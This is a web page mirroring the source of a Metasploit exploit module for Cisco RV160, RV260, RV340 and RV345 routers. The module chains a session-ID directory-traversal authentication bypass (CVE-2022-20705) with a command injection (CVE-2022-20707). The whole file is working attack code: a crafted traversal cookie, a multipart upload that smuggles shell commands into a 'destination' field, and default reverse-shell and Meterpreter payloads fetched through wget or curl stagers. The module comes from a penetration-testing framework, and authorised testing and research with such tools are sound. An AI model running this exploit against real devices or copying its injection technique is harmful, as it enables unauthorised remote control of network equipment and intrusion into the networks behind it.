Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/linux/http/cisco_rv340_lan.rb
Views: 11784
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Remote6Rank = ExcellentRanking78prepend Msf::Exploit::Remote::AutoCheck9include Msf::Exploit::Remote::HttpClient10include Msf::Exploit::CmdStager11include Msf::Exploit::FileDropper1213def initialize(info = {})14super(15update_info(16info,17'Name' => 'Cisco RV Series Authentication Bypass and Command Injection',18'Description' => %q{19This module exploits two vulnerabilities, a session ID directory traversal authentication20bypass (CVE-2022-20705) and a command injection vulnerability (CVE-2022-20707), on Cisco RV160, RV260, RV340,21and RV345 Small Business Routers, allowing attackers to execute arbitrary commands with www-data user privileges.22This access can then be used to pivot to other parts of the network. This module works on firmware23versions 1.0.03.24 and below.24},25'License' => MSF_LICENSE,26'Platform' => ['linux', 'unix'],27'Author' => [28'Biem Pham', # Vulnerability Discoveries29'Neterum', # Metasploit Module30'jbaines-r7' # Inspired from cisco_rv_series_authbypass_and_rce.rb31],32'DisclosureDate' => '2021-11-02',33'Arch' => [ARCH_CMD, ARCH_ARMLE],34'References' => [35['CVE', '2022-20705'], # Authentication Bypass36['CVE', '2022-20707'], # Command Injection37['ZDI', '22-410'], # Authentication Bypass38['ZDI', '22-411'] # Command Injection39],40'Targets' => [41[42'Unix Command',43{44'Platform' => 'unix',45'Arch' => ARCH_CMD,46'Type' => :unix_cmd,47'Payload' => {48'BadChars' => '\'#'49},50'DefaultOptions' => {51'PAYLOAD' => 'cmd/unix/reverse_netcat'52}53}54],55[56'Linux Dropper',57{58'Platform' => 'linux',59'Arch' => [ARCH_ARMLE],60'Type' => :linux_dropper,61'Payload' => {62'BadChars' => '\'#'63},64'CmdStagerFlavor' => [ 'wget', 'curl' ],65'DefaultOptions' => {66'PAYLOAD' => 'linux/armle/meterpreter/reverse_tcp'67}68}69]70],71'DefaultTarget' => 0,72'DefaultOptions' => {73'RPORT' => 443,74'SSL' => true,75'MeterpreterTryToFork' => true76},77'Notes' => {78'Stability' => [CRASH_SAFE],79'Reliability' => [REPEATABLE_SESSION],80'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]81}82)83)84register_options(85[86OptString.new('TARGETURI', [true, 'Base path', '/'])87]88)89end9091# sessionid utilized later needs to be set to length92# of 16 or exploit will fail. Tested with lengths93# 14-1794def generate_session_id95return Rex::Text.rand_text_alphanumeric(16)96end9798def check99res = send_request_cgi({100'method' => 'GET',101'uri' => '/upload',102'headers' => {103'Cookie' => 'sessionid =../../www/index.html; sessionid=' + generate_session_id104}105}, 10)106107# A proper "upload" will trigger file creation. So the send_request_cgi call108# above is an incorrect "upload" call to avoid creating a file on disk. The router will return109# status code 405 Not Allowed if authentication has been bypassed by the above request.110# The firmware containing this authentication bypass also contains the command injection111# vulnerability that will be abused during actual exploitation. Non-vulnerable112# firmware versions will respond with 403 Forbidden.113if res.nil?114return CheckCode::Unknown('The device did not respond to request packet.')115elsif res.code == 405116return CheckCode::Appears('The device is vulnerable to authentication bypass. Likely also vulnerable to command injection.')117elsif res.code == 403118return CheckCode::Safe('The device is not vulnerable to exploitation.')119else # Catch-all120return CheckCode::Unknown('The target responded in an unexpected way. Exploitation is unlikely.')121end122end123124def execute_command(cmd, _opts = {})125res = send_exploit(cmd)126127# Successful unix_cmd shells should not produce a response.128# However if a response is returned, check the status code and return129# Failure::NotVulnerable if it is 403 Forbidden.130if target['Type'] == :unix_cmd && res&.code == 403131fail_with(Failure::NotVulnerable, 'The target responded with 403 Forbidden and is not vulnerable')132end133134if target['Type'] == :linux_dropper135fail_with(Failure::Unreachable, 'The target did not respond') unless res136fail_with(Failure::UnexpectedReply, 'The target did not respond with a 200 OK') unless res&.code == 200137begin138body_json = res.get_json_document139fail_with(Failure::UnexpectedReply, 'The target did not respond with a JSON body') unless body_json140rescue JSON::ParserError => e141print_error("Failed: #{e.class} - #{e.message}")142fail_with(Failure::UnexpectedReply, 'Failed to parse the response returned from the server! Its possible the response may not be JSON!')143end144end145146print_good('Exploit successfully executed.')147end148149def send_exploit(cmd)150filename = Rex::Text.rand_text_alphanumeric(5..12)151fileparam = Rex::Text.rand_text_alphanumeric(5..12)152input = Rex::Text.rand_text_alphanumeric(5..12)153154# sessionid utilized later needs to be set to length155# of 16 or exploit will fail. Tested with lengths156# 14-17157sessionid = Rex::Text.rand_text_alphanumeric(16)158159filepath = '/tmp/upload.input' # This file must exist and be writeable by www-data so we just use the temporary upload file to prevent issues.160pathparam = 'Configuration'161162destination = "'; " + cmd + ' #'163164multipart_form = Rex::MIME::Message.new165multipart_form.add_part(filepath, nil, nil, 'form-data; name="file.path"')166multipart_form.add_part(filename, nil, nil, 'form-data; name="filename"')167multipart_form.add_part(pathparam, nil, nil, 'form-data; name="pathparam"')168multipart_form.add_part(fileparam, nil, nil, 'form-data; name="fileparam"')169multipart_form.add_part(destination, nil, nil, 'form-data; name="destination"')170multipart_form.add_part(input, 'application/octet-stream', nil, format('form-data; name="input"; filename="%<filename>s"', filename: filename))171172# Escaping "/tmp/upload/" folder that does not contain any other permanent files173send_request_cgi({174'method' => 'POST',175'uri' => '/upload',176'ctype' => "multipart/form-data; boundary=#{multipart_form.bound}",177'headers' => {178'Cookie' => 'sessionid =../../www/index.html; sessionid=' + sessionid179},180'data' => multipart_form.to_s181}, 10)182end183184def exploit185print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")186case target['Type']187when :unix_cmd188execute_command(payload.encoded)189when :linux_dropper190execute_cmdstager(linemax: 120)191end192end193end194195196